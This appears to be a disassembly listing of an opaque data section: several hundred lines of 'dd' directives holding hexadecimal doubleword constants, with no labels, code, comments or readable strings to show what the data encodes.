dd 3B009E21h, 0A654B9FDh, 7BEB833h, 840D5F1Dh, 9C8F90D5h
dd 98778044h, 0C6009498h, 40C58AC0h, 3BF2A005h, 0E100B8B9h
dd 0FCF42B4Ch, 0E00E41Bh, 5B3D7ACEh, 3665D94h, 8E952124h
dd 64D0C747h, 0FF3F4E82h, 0E07D00BFh, 0EE5A3F5Eh, 0E6EA4C28h
dd 0FDCA0075h, 37A0EB73h, 2A0263DCh, 74926A2Ch, 7C50C0FCh
dd 0F109854h, 0DF243C2Fh, 20A06E09h, 7FCA4951h, 1EF17641h
dd 80449AA4h, 0FFC33CA0h, 0C404D6B3h, 0C1C9B80Ch, 46A2BE87h
dd 0D1CE0EBh, 185B4CFDh, 2D733E01h, 0FCB28837h, 0F30B0E5Eh
dd 263C15h, 0E462C9DFh, 20314C7Ch, 638D303h, 1A93A4E6h
dd 0DAD2098h, 6ABB8900h, 0DA713385h, 0E0D63A43h, 76474400h
dd 0A11AFBFCh, 2C6CD100h, 77A21798h, 3C907634h, 54871BAFh
dd 0B06D5D15h, 19C871FBh, 0A91EA671h, 6949A4F8h, 9405014Ch
dd 6AEC16BDh, 0C7BB0918h, 48803E80h, 9274CF56h, 1E00A071h
dd 62B08EC2h, 69D290h, 0B8C9A51Bh, 6EF59E60h, 48BF5100h
dd 0D781B485h, 666400A8h, 69B7847Ch, 0F54896D5h, 0EA43005Fh
dd 982CC74h, 0DEBF00D6h, 0B4EEA288h, 0EF00B9A9h, 26ECF615h
dd 3A8F12B5h, 6E004A84h, 61DA76E2h, 9EE24E47h, 0A4DE8600h
dd 83D415C0h, 0F2090091h, 514941ABh, 1E0FF1E9h, 602DBED7h
dd 0A235DF7Bh, 68A9036Eh, 0CA89E5A5h, 0F13388A0h, 0C78A7900h
dd 0DFAA30F0h, 0EFA0995Ch, 0A62D10C0h, 0B70037FEh, 723A9115h
dd 166DCFC5h, 16F03C31h, 665500C8h, 6EAFC0C9h, 700B378h
dd 0ACC2A79Dh, 771B26Bh, 0D1A59ADEh, 8BC49021h, 7605DACBh
dd 0C3C2E033h, 8ED9BA00h, 47E631h, 2482B6E3h, 68195260h
dd 2B0C9400h, 8679B858h, 39363FE0h, 30137A03h, 27F9D3F8h
dd 4350716Dh, 25C8A6D6h, 230E92C1h, 0A0E27810h, 6D7085C2h
dd 0CB840315h, 0C75CC5AEh, 905AEFB0h, 980014E2h, 936B3BFh
dd 3C26A42Ah, 0BE02EACAh, 7AF81ABBh, 0C88EC0E0h, 9D22873Eh
dd 0E2967D71h, 0C314000h, 2E986915h, 969CF4D4h, 2798309Bh
dd 0A0BA5952h, 3998A51Dh, 3A4BDE41h, 0ACE3B8BCh, 657BCC0h
dd 0CC1A00DBh, 0B272B94Ah, 33F42B61h, 3F00BB78h, 0DA2C118Bh
dd 954749h, 5F64E676h, 0B22E9B01h, 0ECD583Dh, 0C3ADF90h
dd 2E13588Ch, 1907B17h, 0F0341470h, 1588702Eh, 20F37926h
dd 0DAABE307h, 0E28097D4h, 19DA04Dh, 156E8E1Eh, 20DB2493h
dd 0B1008C74h, 4CEA1A98h, 4FB88B27h, 5D5DE022h, 51F6367Ah
dd 72380360h, 3DCACF28h, 683B2FEDh, 899570E0h, 0D008123h
dd 0A3D8223Eh, 94173C50h, 0C8EB0068h, 198CE49Eh, 7AB0440Bh
dd 12208048h, 0EC5574h, 0F82CE7Fh, 7570E16Ch, 655A7900h
dd 0A7A004DEh, 5DDF03A9h, 13EF1561h, 341C4FB1h, 0DD002034h
dd 0FD40CAC2h, 7FA529h, 19114307h, 0A8F462F9h, 0A6226A02h
dd 41309A12h, 2BF0CEF8h, 28FA07E8h, 40C8F5E5h, 11FCEE29h
dd 0F00CD200h, 0FFF7E770h, 36791E86h, 0CE1B00F2h, 0EACC1D12h
dd 0DE7C3300h, 0ED1EE031h, 64201075h, 51CA00E8h, 1553F8D2h
dd 0F4300BFh, 1DB56C4Fh, 0EE00F27Bh, 993E61B0h, 0BA4DAFA5h
dd 0BC3C01A8h, 377A63C1h, 56EBCC6Dh, 91527304h, 88182DCh
dd 22E4C7F5h, 68B57ABBh, 91FCCC3Ah, 9D0A1E8Dh, 2DED340h
dd 7D9273BFh, 30E20204h, 136D1675h, 1935D082h, 9E4CCDE0h
dd 0B9EC7050h, 0D3FB4A00h, 6EA4FFCFh, 1FBC7940h, 40316741h
dd 20703D60h, 0F2003E3Ch, 0F0CE27CFh, 5BA4964h, 0BD11AF2Bh
dd 0E0848766h, 62E23506h, 9E348B3Bh, 18C0F82Eh, 648AA9A0h
dd 0BAAA01ACh, 0F0C47763h, 55B8E406h, 475A431Eh, 405944CEh
dd 9699627h, 0DA7C004Fh, 3C12E001h, 71009CB9h, 0D9CD1ED4h
dd 9F6ECBh, 0C310EE33h, 9E69E972h, 4209B69h, 0F4818103h
dd 68FCAE56h, 749F4CE4h, 0DBACE101h, 0FFF0E276h, 6009A6D1h
dd 0DD006D60h, 0D7C25839h, 0E4229362h, 0F247F4E7h, 0F6B800D0h
dd 0BEAEF936h, 0D51407B0h, 0C0B8897Ch, 4B33E56Ch, 1FA675C9h
dd 475D8F81h, 10D21C6Fh, 10E7BC25h, 94A96B04h, 2CC4A2D6h
dd 6F28FCC1h, 320D7CCh, 5E7CAEA8h, 0A1A8DC33h, 2C0B064Dh
dd 74A3F70h, 38E30DD0h, 4B8A00F9h, 8AFE7916h, 0B2009CFDh
dd 59A85C0Fh, 118B4h, 0BBE404CAh, 3638F769h, 3565A600h
dd 8D2C5C3Fh, 974300E7h, 0AD68FAE2h, 44005F42h, 49479B10h
dd 7132D6h, 0C6637374h, 7E37DA8Ch, 0BA83AC16h, 51FE3B00h
dd 7D553E1Dh, 3460014h, 0A0F16BE1h, 99007571h, 0BEBAACFAh
dd 757AE305h, 334E8E7h, 0A3563C23h, 0A6E12A35h, 0A2BC2039h
dd 0B60068FEh, 0A86ABCA4h, 33654BAh, 275586AAh, 24E0A1C1h
dd 4209B9C0h, 0D7B383B5h, 817C5980h, 0D8006AB8h, 796553AFh
dd 12D95987h, 0A7C7A3h, 0EEB536BCh, 57125FF8h, 784E0B75h
dd 0D9EC6033h, 9AC7CB31h, 0A08F00CCh, 0C401A2BCh, 0FA009D92h
dd 9D1DA30h, 24E6483h, 0EC8EC351h, 6C525665h, 0F8B68700h
dd 0BF224875h, 7A51167Dh, 4CFA0055h, 6B505785h, 0A0E4F907h
dd 0A6A01FF6h, 7EC38B5h, 2FB1EBC5h, 0FCA02E22h, 43321926h
dd 0E214CD03h, 0E172A669h, 0C7ECE868h, 90B0C5h, 33C164D7h
dd 7940B888h, 0DC92D62Ch, 530F1685h, 730B1980h, 0A3C900F7h
dd 0FAE9A82Ch, 0C403281Bh, 0E425F4DEh, 0CC03D083h, 0B7D31C8Ch
dd 217A40CBh, 0D66C0B8Fh, 5AA89400h, 7D0A6357h, 0D2E609E1h
dd 0F78075D7h, 7B8064FDh, 278D1600h, 47D65B56h, 9B6F01A1h
dd 0B5D5C4Ch, 0C892F09Eh, 9F7B9D05h, 8481A43Bh, 9435347Ah
dd 1D1F14F4h, 0DE58E83Ah, 0A09B25EDh, 0D5082A00h, 270E4FAFh
dd 3E1F00E0h, 0D42A420h, 1D0DEE3Fh, 0F0BDBF73h, 22ED0C60h
dd 0C94D483Bh, 26690034h, 6BC1DBB0h, 2C8D012Fh, 0ACA5AF2Ah
dd 0FCC1E629h, 0C07BF5CEh, 520083E7h, 0C80AEF7Eh, 3DB2ABCCh
dd 801669B5h, 0D088874Bh, 0F01456D2h, 953EB81Fh, 6D63DA40h
dd 32B0493h, 0B7A0C350h, 0B5D0F170h, 60085D7h, 0DCCA3655h
dd 0D53D23h, 6CE24992h, 0D39E9C30h, 0E9880A00h, 58659A33h
dd 66F90732h, 0CF8DC2ABh, 67757760h, 9AF22036h, 0EEF3D00h
dd 8EAD732h, 13C90089h, 43656FE6h, 0C0090473h, 0E07C346Eh
dd 191D688h, 6F810CC4h
dd 0C4C70EADh, 8300E2DAh, 3EF26A60h, 0F8A89Ch, 82EC619Eh
dd 34E70B5Ch, 0EF238400h, 1A7E409Dh, 21F20133h, 0C2E9BE88h
dd 59B44030h, 24B9DBA8h, 35C91900h, 0F61804Bh, 0B2D5D9AFh
dd 94FC4500h, 66280EC1h, 5316B9B7h, 0D833F306h, 3859F814h
dd 54070013h, 91D1CF05h, 0D000492Ah, 0FE8660B1h, 2CA95BE1h
dd 141D759h, 9EC56881h, 0DC1FC440h, 804A1338h, 231EB131h
dd 0F81666h, 0E7518436h, 2F343EB3h, 46A5BD00h, 32CCACBEh
dd 0D2D300C0h, 9972FC57h, 903EBDAh, 21FEA1Bh, 1762E8BCh
dd 0CD5E0FC0h, 0F6425FA8h, 0BA41E7FCh, 0CF2701Fh, 0DCBFE40Fh
dd 0FF24A3ACh, 898688CAh, 28D90275h, 0BCBBA088h, 4DF3F8E8h
dd 0E82E5091h, 2A77ED00h, 1FC15B40h, 6436A4DEh, 0DD9B002Dh
dd 0F128B6D0h, 0BE025890h, 89963A0Dh, 186440D1h, 0AB9C0B82h
dd 0F8808AEBh, 67906858h, 0F8CFD8FBh, 0BDA770C0h, 2DDF7D04h
dd 388F6437h, 0B4C76080h, 9701C671h, 0C37CE3ACh, 0CD7B037h
dd 0B4CB9221h, 0E90C22B1h, 821089Dh, 246A4944h, 9F892000h
dd 0EF5A900Ah, 0F253CC00h, 7F9AEA7Ah, 92F1188Dh, 0B13B607Dh
dd 84DB2CA0h, 5D995C60h, 60FF4704h, 7FB629AEh, 7730BF40h
dd 25B960F3h, 223700A0h, 0BB089FA1h, 0FB2A9E03h, 5A002839h
dd 139926FFh, 833B94h, 2D018C17h, 80FE8543h, 8C011A5Eh
dd 0C7B97EE0h, 4CDE07DCh, 0CE00813Eh, 82415EFDh, 9D005AE7h
dd 7EDCB79h, 551A14Eh, 5C3E45B1h, 0E20F5E4h, 0ABC0AE04h
dd 4DB4D434h, 0FF9FA312h, 0FD5884Fh, 423CA059h, 0FE7CD7A1h
dd 0CC530028h, 0D70203Dh, 0F203764Ch, 9418BEBDh, 0A0A5E2F0h
dd 0BAB34720h, 0CC400008h, 0BC0E434Ch, 0C4FA907Ch, 3F0899h
dd 82C5DF10h, 3B0C427Dh, 6A805980h, 309D312Eh, 0E26090E8h
dd 70878251h, 1D12004Fh, 13E6EBBh, 7E00BE72h, 0D7EC55E0h
dd 9B2E5Dh, 0A53FF549h, 12A40C73h, 0A9D67A00h, 0AA11DBF7h
dd 0F4950AB6h, 8080FE01h, 2A80374Eh, 5F303304h, 0D6E97920h
dd 8AA60C6h, 8E12B8DBh, 0AC0A8200h, 9EF249EEh, 669100E0h
dd 0C0ED9806h, 0FD00955Ah, 0B5EA34A6h, 187FA34Eh, 1849BED5h
dd 0F60C683Ch, 105C8F60h, 203438A2h, 545A2863h, 7B0FFEC8h
dd 41CB370h, 0ED0C3DE3h, 0D218A011h, 68016F6h, 40AED75Eh
dd 0B025A33Ch, 9B3711CFh, 0AB721E65h, 0E46A04h, 9C0DE49Dh
dd 0BAAE1498h, 1A4C227Bh, 0BD950060h, 9660F363h, 254300B9h
dd 0ED7C065Fh, 0A0DE654Ch, 85782E82h, 5BF08523h, 134CA0h
dd 0A0CA286Dh, 0F67461CCh, 120099FCh, 96427F94h, 4834BB80h
dd 3C06048Ah, 701DB670h, 0B1B8DD01h, 76977D7Eh, 0E9D86080h
dd 0BE835609h, 1AFA5C17h, 11E67007h, 0FB05430h, 37C4009Ah
dd 50F78466h, 0D0006B35h, 3688702h, 1F617B4Bh, 315BDDh
dd 83E016ACh, 80931C6Dh, 2812258h, 0F8570A15h, 0C8EB5CCh
dd 3C203E09h, 0E0C111Eh, 0F839A560h, 39907D49h, 0B4993E7Fh
dd 80A00927h, 7D21D821h, 58E486DDh, 0A90F5F40h, 0C6C3CFE8h
dd 610BBDA5h, 10FC7DAAh, 1598990h, 0C636392Bh, 4031755Bh
dd 344913BCh, 3C010F4Eh, 0BF534D7Dh, 0B81BA041h, 20C449A8h
dd 0D1324F9Dh, 30F3B137h, 9B087D98h, 6497A67Fh, 303341AEh
dd 53D0197Dh, 9F4800A8h, 1179A540h, 3F0C647Ah, 603B8120h
dd 431B1460h, 1C50F0A2h, 0CB009FCh, 38036626h, 0E980AF98h
dd 7C177AD5h, 104F5770h, 0C30A220Bh, 258440A3h, 0BD4929E2h
dd 134A901Ch, 0C4073A9h, 1C86ECABh, 99A30033h, 899E088Fh
dd 0D4B86BD4h, 79A6EA12h, 0AA8B2804h, 41AFBC88h, 9B46DC1Fh
dd 0F36440h, 6DF712A7h, 307C39CFh, 71055505h, 1C0852A3h
dd 469CA04Ah, 7D73170Eh, 9CAE400Ah, 3240A3C4h, 37037D0Bh
dd 0A8BB7C3Eh, 837A8C96h, 64144Dh, 0F121E2E5h, 0E472499Fh
dd 0F4B31E13h, 0F3DCFF8h, 0FCAD4641h, 0A459A87Dh, 0F3E56701h
dd 84BBA37Ah, 1040B430h, 631F573h, 7C0D7293h, 7FA00630h
dd 0C8A1ECEDh, 703FEF04h, 0B88017F0h, 249223D9h, 8030E090h
dd 38065933h, 553F687Ch, 42F01DA4h, 845C0A12h, 77F1CEh
dd 639AD746h, 4A73C40h, 13D084A8h, 408EF525h, 73AA2370h
dd 38C03F81h, 72627148h, 0A04A63F1h, 0C091A73Ch, 90389712h
dd 4A1AC20h, 226000DEh, 0D7DD7B0Ah, 89268C81h, 8F0ED082h
dd 0A32CE0B4h, 7AFAAE4h, 0F6F497E0h, 0B0DD2312h, 7DB4F11Eh
dd 0D6040A5Fh, 0D4912659h, 0A4F0A85Bh, 46283A2Fh, 3379788Eh
dd 0EE697362h, 2201E061h, 5FCD00CCh, 36A3986h, 31D50072h
dd 2FA350AFh, 0E0342D7h, 1702122Ch, 9B80243Eh, 7AE040F0h
dd 0A75048B3h, 820ABAF0h, 0B4763659h, 0F580B691h, 87CEC77h
dd 9224243h, 770D2001h, 3BF65241h, 190D4F0h, 0AD7D0AB3h
dd 0F8FDAF3Dh, 5977E1B9h, 9D9CE1C0h, 0A77365h, 0BAFDD0CDh
dd 4DFE04F5h, 93E121C3h, 0B502D865h, 40A26499h, 60AF62E3h
dd 0D09DA7E9h, 4E222038h, 65A5E301h, 971F2FB3h, 4B9A9450h
dd 96F4003Eh, 11CFEE05h, 0FB0307C8h, 34A7677Ah, 474D9260h
dd 61946498h, 0AFCE896Dh, 385E8398h, 1FA3CFC3h, 0C22901FFh
dd 68258A75h, 213031DCh, 1460C238h, 724BBEE4h, 29F180Fh
dd 68B5C423h, 16E05984h, 4C21FBD2h, 510938E0h, 0C8F921C0h
dd 17A25ED2h, 8ED8689h, 0D99EFE54h, 5402C0C1h, 68266359h
dd 4165C73Ah, 0EE830088h, 15C4D55Bh, 4D86D800h, 0A437EC17h
dd 0A17D0061h, 896651DBh, 26F2A599h, 8097FE00h, 385C1216h
dd 0F57E07C4h, 11131E33h, 24E3071Fh, 2340CDF0h, 96A30F46h
dd 0AA85CB4Ch, 0E4A4C80Ah, 546A7C3Ah, 48CC8F0h, 0A74A6590h
dd 204862F5h, 965F6FCh, 0A8CE5000h, 346CAF1Fh, 451217DBh
dd 0C4E802E5h, 0CD27F0FDh, 14E40708h, 9F45F26Ah, 0C401946Ah
dd 84D1502h, 18FD867Fh, 5CD20439h, 329E1920h, 0E1E22064h
dd 81A0E5D2h, 3D06BDF6h, 0AE334D72h, 0C40DA068h, 9AF8A3E2h
dd 0E86465A7h, 606424A0h, 8EE55250h, 60048802h, 0E0AC11BEh
dd 6E2491h, 0E7664390h, 0C9082087h, 14F094F7h, 0E82CD4C8h
dd 0F5718C52h, 800ECE26h, 0C072DC1Dh, 46EC4E0Bh, 659A02E2h
dd 31C5A774h, 0EC5A1736h, 9AC2E000h, 0EEF33733h, 2ADB029Bh
dd 36D12782h, 0C5A23341h, 0CCA3C234h, 84886F59h, 0C894BB32h
dd 8CE9D45h, 21C0A088h, 7EA93F4Fh, 0B0F35457h, 3EF00097h
dd 0BFDF0911h, 1C029164h, 9F140CBEh, 0B9F1C04Ch, 0DC7501FDh
dd 59EC12B8h, 0BDD18030h, 0C18F389h, 99A0A83Fh, 0D77A1612h
dd 5F980082h, 23EDA52Eh, 3F83C094h, 0E3494A66h, 0E4994CF1h
dd 9E35BB00h, 95A844EDh, 32D99899h, 0AB007418h, 0EAB058F3h
dd 0F0096338h, 78682634h, 600F446Ch, 2EAF7D4Ch, 70F8067Fh
dd 7D7C24E7h, 0D882902h, 817A89FAh, 9B2E5E48h, 0F08E8CD0h
dd 12C9322h, 21F2D2EFh, 805833C9h, 0CED2D7F8h, 7D540B8Ah
dd 0F802A40Fh, 380CADA8h, 0F8E05970h, 4A82B2Eh, 144E1DF9h
dd 99222D0h, 25510B66h, 0E03AD46Eh, 720A4490h, 81E7004Fh
dd 8BA73069h, 0E50058ACh, 0D4275C02h, 0C4CB806Ah, 2554880h
dd 0AFFC0EF1h, 762F6180h, 0E6E88BCAh, 0C79030F3h, 6C2A6A59h
dd 352F9701h, 63026245h, 0ECDC21E8h, 9C460693h, 908B84B3h
dd 0D939AF00h, 0C21A442Dh, 630F005Dh, 4B5BF92h, 0D2269383h
dd 0C43A08ADh, 0D16E0051h, 88CF1FB3h, 6A0E3D65h, 864CB572h
dd 20E9ADh, 0D81FBBC7h
dd 14F6AF82h, 1B217500h, 5F620199h, 0E9F10E6Eh, 0D880BAD7h
dd 0EA147983h, 0C111777Ch, 31075D81h, 50B03226h, 0D2F567D6h
dd 213A09CCh, 323E0091h, 0BFD80E81h, 97F25530h, 7B63080Eh
dd 9DDE6007h, 1F6BFA8Ch, 7ABBF3F0h, 0E5138E0h, 74732A91h
dd 5E54361Eh, 8C55C68Eh, 4D42166h, 0C57F2AD9h, 58ED8649h
dd 1C6BEC20h, 54F322E9h, 9B8128B9h, 0A2917A2Ah, 0D202848h
dd 0C32E00F3h, 5905B22Ah, 0AD001ADDh, 0E291DFECh, 0C06384D9h
dd 0D74980D1h, 0FC005B57h, 3CE13110h, 5BF532Ah, 43D062CFh
dd 5D941C17h, 3BD5CE95h, 6FE82BE0h, 50E90476h, 231FB7CCh
dd 4C858810h, 0B32118CCh, 0B41FBF00h, 91F03ABBh, 0D9D3600Fh
dd 86115D06h, 1032F837h, 0CD753500h, 818B0061h, 16D278E4h
dd 48000565h, 0D66D396Fh, 0C519DDh, 0E2CBF66Bh, 9A9D0A2Ch
dd 6706DF00h, 645457A1h, 410E145Ch, 9180C462h, 444FE451h
dd 0A2C12064h, 0F41FB461h, 0A48CAD88h, 0BCB2002Ch, 0D9CD4F1Fh
dd 0EA7337ACh, 197FC04h, 536B6Fh, 2154079Ch, 68398A14h
dd 0EA189463h, 40F708E4h, 2BB7016Ah, 44D40894h, 6EE440A4h
dd 7DFA609Ch, 72004891h, 86F3CD84h, 1609285Ch, 0E8ECE814h
dd 1F380081h, 0BC3D625h, 8D07021Ah, 70A9D62h, 43D11420h
dd 8051016Dh, 0F4B15FD2h, 0E3D18088h, 9E7F7A81h, 4451C3EBh
dd 0EDA806h, 2928FE94h, 0C2008D2Dh, 0BF92362h, 600FF67Bh
dd 72139802h, 90015E8Fh, 95D65356h, 0C883CAEDh, 1512788Ah
dd 9664C00Ah, 2780AC05h, 0C2F9596Dh, 7D0830BFh, 363C61C9h
dd 0BE2E9977h, 0BC000164h, 93280EFBh, 62A0C10Ch, 937B08B6h
dd 211CBD31h, 0C7CC69C0h, 0AF5A48h, 654910A5h, 67D78EFAh
dd 2071DC00h, 76A0B16Dh, 2681C006h, 1785CBB7h, 38A10812h
dd 0C00A1EFAh, 0CAAA1B0Dh, 74040C91h, 0A1E83CFEh, 28B10898h
dd 0A79C211Fh, 0B9933F68h, 5789001Fh, 38976FCCh, 5683449h
dd 0EAAB3B51h, 7949B047h, 65646D71h, 0A66FD042h, 7921F6D4h
dd 4DAB01AAh, 3278E686h, 0A5ACD09Eh, 2D7B0E00h, 8B0BD89Ch
dd 4D0C9218h, 238354D4h, 0CEAABD32h, 90102531h, 0EE00323Bh
dd 0AB1CF9B9h, 15F0902h, 0E354D246h, 0EDF62ECBh, 0F88980E6h
dd 0C2013B9Dh, 1EDB1353h, 71982167h, 0C47BD5C9h, 0B6004090h
dd 0F3E080A0h, 58977ED6h, 78423607h, 6F88673Bh, 0F0C47564h
dd 0AB6DA840h, 0B6002E31h, 5B680278h, 29098281h, 0C09764h
dd 3E7F239Ch, 0E226938Ah, 215EA4DCh, 0EF80F30Dh, 8138222Ch
dd 7E8400E1h, 78F04DA4h, 54907B2Eh, 51150930h, 0F598B65h
dd 2901B813h, 280A2300h, 63409561h, 99AA606Eh, 6165BF1h
dd 0A77F506h, 901809B2h, 50BA5230h, 652A9A01h, 0C556E91h
dd 2B21C07Ah, 91F92AC2h, 382C8713h, 30B8F062h, 73582A6Ch
dd 24542B39h, 2AD4D580h, 318ACB1h, 8AF71536h, 889C64D8h
dd 1A8CD718h, 46B232CCh, 103C18B1h, 73224ABh, 0A29F4B49h
dd 1D1F262h, 0C8FDB460h, 24C18CF8h, 727FE6ADh, 0A69F848h
dd 0F42B171Fh, 2E465C38h, 50CC0919h, 0D1FE10EDh, 31E1C110h
dd 41698094h, 0D9066790h, 765430ADh, 0C7C81954h, 2ED5ED00h
dd 0BA9C0E4Eh, 14C403BFh, 57631E31h, 0F40A6929h, 9CF90F00h
dd 2E9A54BBh, 3CB67179h, 0A8F729h, 0F6905DD2h, 4D3A6457h
dd 0BA2600E3h, 4C471C8Ch, 8AC8121Ah, 0E4C003Ch, 0F2B50BB7h
dd 0C3F87964h, 0B6322060h, 0B4A726EAh, 32389F00h, 4C0AC23h
dd 34065CD8h, 97930109h, 8253E68h, 0FBE77941h, 126E80F0h
dd 4438E183h, 8803EA4Ch, 82246094h, 243F687Ah, 198348CAh
dd 1F3F0CF4h, 42D36848h, 3ADDFEF3h, 0B6465846h, 712A6E02h
dd 61314E91h, 2AD6D710h, 0ED11771Eh, 6100EF92h, 0B59CF76Fh
dd 4B1A0409h, 907B65C4h, 0C26E8814h, 211D88ACh, 3E51B732h
dd 92802688h, 0AF083239h, 33C01EBCh, 0C2688A60h, 0F99E09B5h
dd 55840C23h, 62C63116h, 40B36E01h, 41E44483h, 0DE670527h
dd 44FBE57Ch, 33A10A4h, 3F694587h, 3780E838h, 0B1142FA4h
dd 80A4D6FEh, 22307F0Eh, 0E78A86E2h, 20489271h, 1498E9F2h
dd 0AB3E720Dh, 0B28021FCh, 48AFD8C9h, 553CC0F5h, 0A701FC69h
dd 1BC9E9Ch, 9EC938Bh, 5CEA07E1h, 0E16A8881h, 61338E78h
dd 0A699F0A8h, 0F470B901h, 7E1E8B38h, 0F9CCC4CEh, 0B784C0CEh
dd 83C90278h, 795DAE64h, 38608042h, 6043BDF3h, 0C630FDB2h
dd 48FB00B6h, 0BBCEB13Ah, 884A319Dh, 3B23842Eh, 0D13A0A02h
dd 41D490ABh, 0A570001Dh, 8B848CFDh, 0F4EC5F40h, 3D4D2109h
dd 2D6980F5h, 33E6D78h, 17699BCFh, 81F41C14h, 2E9676Ch
dd 0F68498AAh, 8120492h, 911F71DAh, 0E0AA427Ch, 5F1D361Bh
dd 2243A2EFh, 14AF7h, 0AF54E920h, 6975E38Dh, 16E9938h
dd 0F16F5F6Bh, 0EBF4D7EEh, 14200D4Dh, 336904AAh, 30FAA264h
dd 87184879h, 0C1990271h, 5CD1005Eh, 0B6CD2395h, 0B80FE0DEh
dd 20279DEDh, 0D42EE76Ah, 4FA109D0h, 0F897F0AAh, 9F826491h
dd 5040B68Bh, 0F92644AFh, 6B4098DFh, 802770F6h, 9525980Fh
dd 5340E1Ch, 0DC54776Eh, 6840004Ch, 741E2299h, 3A19D273h
dd 3923E0h, 0DEDFFC2Fh, 7700D250h, 3D5C5B10h, 0A445173h
dd 5464867Fh, 632444B0h, 6490B874h, 7D3643CDh, 907AF38Bh
dd 3D9CF382h, 414A1E3Dh, 37ADE8B4h, 27E041E1h, 0B3D760D6h
dd 79DD9D3Eh, 241EF1D3h, 0F27408h, 0A1B85993h, 9807E2CEh
dd 0B49252D5h, 236516D3h, 78303E98h, 0AC9D649Ah, 0A9F344FCh
dd 48ABA01Fh, 771EEFC0h, 3421D2Fh, 0E53FBD89h, 9804E26Bh
dd 66C2787Ch, 9550CCC1h, 3C1D99A5h, 1181AE11h, 319239CFh
dd 13CEF48Dh, 8CC030FDh, 0A87D0D01h, 3DF5883Eh, 62BC3838h
dd 300F343h, 243E59B3h, 1C24E6F4h, 0A06FB497h, 0B92F051Dh
dd 0FD680984h, 648E907Ch, 895E6604h, 7443C828h, 0F936C09h
dd 0B88441E3h, 74079E71h, 0B832B2B5h, 0DC753127h, 0C5246491h
dd 0A658B436h, 18AB3D7Bh, 9F93AA02h, 90C53C54h, 30BCF832h
dd 67092A98h, 0C555DE91h, 0C02900B4h, 11D1A22Ah, 0D79D2Ch
dd 32D5270Fh, 19C804CBh, 0FC995EC0h, 0C070F95Dh, 0F01E4CABh
dd 876790Ch, 4E028029h, 5AB05F05h, 0D3948283h, 57B60030h
dd 742401A3h, 467EC466h, 0B5820038h, 29C37B08h, 0E0985CD4h
dd 0FD27516h, 0EF2D7118h, 38404788h, 0CC1FB0C0h, 3D0D2188h
dd 0C602DA91h, 0BF4B1FB8h, 4A98D663h, 1831066Dh, 41935875h
dd 6255D6E0h, 0CD541067h, 88AF0840h, 1778AB25h, 8066918Ch
dd 0D1645A23h, 2F9109EEh, 28216197h, 238BBCD7h, 0F17AE174h
dd 0CA05D00Ch, 0E9FD888h, 0F072D000h, 2E06E2D1h, 1C0167Ch
dd 0A3D23BFEh, 0A0B9E4A9h, 26CE8101h, 796E3018h, 27BC1468h
dd 2111248Ch, 6DEB0FB2h, 51819D61h, 58A43DE4h, 90362208h
dd 3E8B780Dh, 53F860A6h, 63A1A079h, 0B1F40DF3h, 15BB00AEh
dd 4A5CB6A6h, 0F64C5BFDh, 5DB44C4Ch, 0FBD08220h, 0F02A237Bh
dd 941B4805h, 0BC002D08h, 7F818B78h, 98A10253h, 7D0A79AAh
dd 16600227h, 0B55D1F5h, 1C9EF428h, 0F054AC81h, 4458CED8h
dd 5C483898h, 0E51410D8h, 0F3430DF8h, 81B40300h, 0ACC5831Eh
dd 0DA4AB91Fh, 742C6F40h, 0A82084D9h, 0C79EBCh, 0FD883DD2h
dd 0FFEA719Ch, 0E0B05E00h, 102B915Bh, 95F0961Ch, 917B8427h
dd 0E9AD78FCh, 758F0086h, 654D714Eh, 8AE2DB6Bh, 7850D074h
dd 0E0A772A8h, 18F16442h
dd 0A748CBBAh, 66F910E0h, 0EB86570Bh, 0F4EFF8A4h, 0A5240EDCh
dd 710C5C03h, 5B9B924h, 33AD300Ch, 72F80158h, 3769262Bh
dd 5D19B02Ch, 0B6B500D0h, 0B88B19Dh, 0D100A007h, 0F170DED7h
dd 95E0AECh, 0F351EEF5h, 6491CC17h, 6F324080h, 4430065Ch
dd 56F6F0CDh, 3D7C0020h, 0CE70BFC3h, 9AECD190h, 72025802h
dd 7284627Fh, 86360724h, 0D0E3E6E0h, 1EE5EDCh, 634C520Eh
dd 0A00D80F9h, 0FA6A9AEh, 0A5702666h, 0BBCAA7A0h, 0B447195h
dd 0A3A60297h, 8839B9B5h, 18600849h, 221F3FB2h, 1618BD23h
dd 0BAC421h, 0BD7021Fh, 0EEFEC614h, 787F1B24h, 62DC456Bh
dd 0BA18F160h, 0C22701FFh, 0FEC55008h, 258822DFh, 69382076h
dd 3A3A349Eh, 878F84EBh, 0CD808C22h, 0D503BB37h, 0D65CA005h
dd 0AC006041h, 8E78CE21h, 2534B669h, 2711D417h, 592FEA80h
dd 1203983Ah, 67D06BBDh, 0E8500B11h, 74990895h, 40E187Ch
dd 1D88CE10h, 15333Dh, 1FB6C821h, 74D4DD41h, 5AE1C10Bh
dd 0EC1880EAh, 0DD6BFDD6h, 0FB8709C0h, 0D0F98422h, 0A8987C52h
dd 3049F720h, 0EFB15687h, 3F72F938h, 0ED4EDB07h, 2D83CADCh
dd 0B9BE2EE2h, 61150h, 0A6FC2927h, 49AE6282h, 5862BC95h
dd 0ECF24D47h, 80E8BB54h, 8AD09900h, 21D11ED6h, 84C218F9h
dd 0AC397962h, 0B70D0B07h, 0B270512Ch, 2C0B301h, 0FAD87AEBh
dd 944DDCE1h, 0F734E7C1h, 4E35FC20h, 38044B75h, 0D20A24A0h
dd 0A7126D57h, 0A0C8AAD7h, 0DF8E0442h, 0C0FB1237h, 0ADD009C4h
dd 10986777h, 6A18F101h, 356F0FEBh, 0CDE8488Eh, 2BAC184h
dd 55E383Ah, 0E98F0660h, 551578F8h, 881C78BDh, 0B9180A79h
dd 2FFD82ACh, 0FBE0CCD1h, 2325EDE9h, 91B8179Bh, 497582FBh
dd 3C08F20Bh, 533EEA67h, 4E68784h, 79CC5F7h, 2033EC6Dh
dd 0D52DF04Eh, 597BFD18h, 4C299CE8h, 3ABC8088h, 5C71128Ch
dd 0DC3900BBh, 41449F91h, 76B0F0C5h, 4B3A286Ah, 8BC56480h
dd 22307E23h, 9FAD5F0Ch, 0F33A85Eh, 5CE951E0h, 0AE6947C0h
dd 92121162h, 30A0509Fh, 1A559066h, 96CCB387h, 0AC19C0C0h
dd 30F79180h, 672857E0h, 19C515DEh, 5C907E71h, 9962382Dh
dd 2B983424h, 34848504h, 1D0B4A0h, 0A72EAE07h, 0E0CB04D1h
dd 0D400D819h, 0C60BD2B9h, 0EDDA01EAh, 0C8B7D0h, 6DED7396h
dd 0B2F59EE0h, 0C07A9901h, 0F7ACE89Bh, 5118F0h, 3C243D94h
dd 601ED3Fh, 0BF13DD16h, 0BA31BE01h, 0ACF849DCh, 2D400077h
